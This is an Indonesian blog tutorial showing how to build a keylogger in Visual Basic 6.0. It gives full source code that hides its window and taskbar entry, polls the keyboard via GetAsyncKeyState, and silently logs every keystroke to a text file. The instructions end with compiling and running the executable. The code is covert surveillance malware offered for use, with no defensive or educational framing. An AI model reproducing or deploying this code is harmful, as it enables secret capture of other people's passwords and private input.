Buat keylogger auto save txt dengan Visual basic 6.0

Nah kalau kemaren ane sudah share gimana buat auto save txt dengan visual basic 6.0, kali ini ane juga share gimana buat keylogger yang hasilnya disimpan dengan file txt. Oke langsung aja kita coba ya gak usah banyak cerita. hehe :D

Bahan-bahan dan jamu-jamunya
1. 1 PC lengkap dengan sistem operasinya
2. Software Visual Basic 6.0 full ataupun Portable
3. Install di Komputer kamu, jika sudah ya gak masalah
4. Jalankan visual basic 6.0, dan Pilih Standar exe
5. Buat 1 Buah Form dan 1 Timer















6. Dan Copy Paste Source Code Berikut


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Type TList
    kode As Integer
    bawah As String
    atas As String
End Type

Private List(1 To 255) As TList
Private IndexList As Integer

Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
    IndexList = IndexList + 1
    List(IndexList).kode = kode
    List(IndexList).atas = atas
    List(IndexList).bawah = bawah
End Sub

Private Sub Build_Table()
Dim i As Integer
For i = 65 To 90
    AddToTable i, Chr(i), Chr(i + 32)
Next i
    AddToTable 48, ")", "0"
    AddToTable 49, "!", "1"
    AddToTable 50, "@", "2"
    AddToTable 51, "#", "3"
    AddToTable 52, "$", "4"
    AddToTable 53, "%", "5"
    AddToTable 54, "^", "6"
    AddToTable 55, "&", "7"
    AddToTable 56, "*", "8"
    AddToTable 57, "(", "9"
    AddToTable &H60, "", "0"
    AddToTable &H61, "", "1"
    AddToTable &H62, "", "2"
    AddToTable &H63, "", "3"
    AddToTable &H64, "", "4"
    AddToTable &H65, "", "5"
    AddToTable &H66, "", "6"
    AddToTable &H67, "", "7"
    AddToTable &H68, "", "8"
    AddToTable &H69, "", "9" '
    AddToTable Asc(" "), " ", " "
End Sub

Private Sub Form_Load()
    Timer1.Interval = 1
    Me.Visible = False
    App.TaskVisible = False
    Build_Table
End Sub

Private Sub AddToFile(Isi As String)
Dim Data As String
Dim FileHandler As Long
If (Dir(App.Path & "\mylog.txt") <> "") Then
    FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Input As #FileHandler
    Data = Input(LOF(FileHandler) - 2, #FileHandler)
Close #FileHandler
End If
FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub

Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(List) To UBound(List)
a = GetAsyncKeyState(List(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
    If (b = -32768) Then
        AddToFile List(i).atas
    Else
        AddToFile List(i).bawah
    End If
    Exit For
End If
Next
End Sub

7. Dan Make Project.exe lalu jalankan
8. Selesai Selamat Mencoba

0 komentar:

Posting Komentar

Created By Andi Hakim. Diberdayakan oleh Blogger.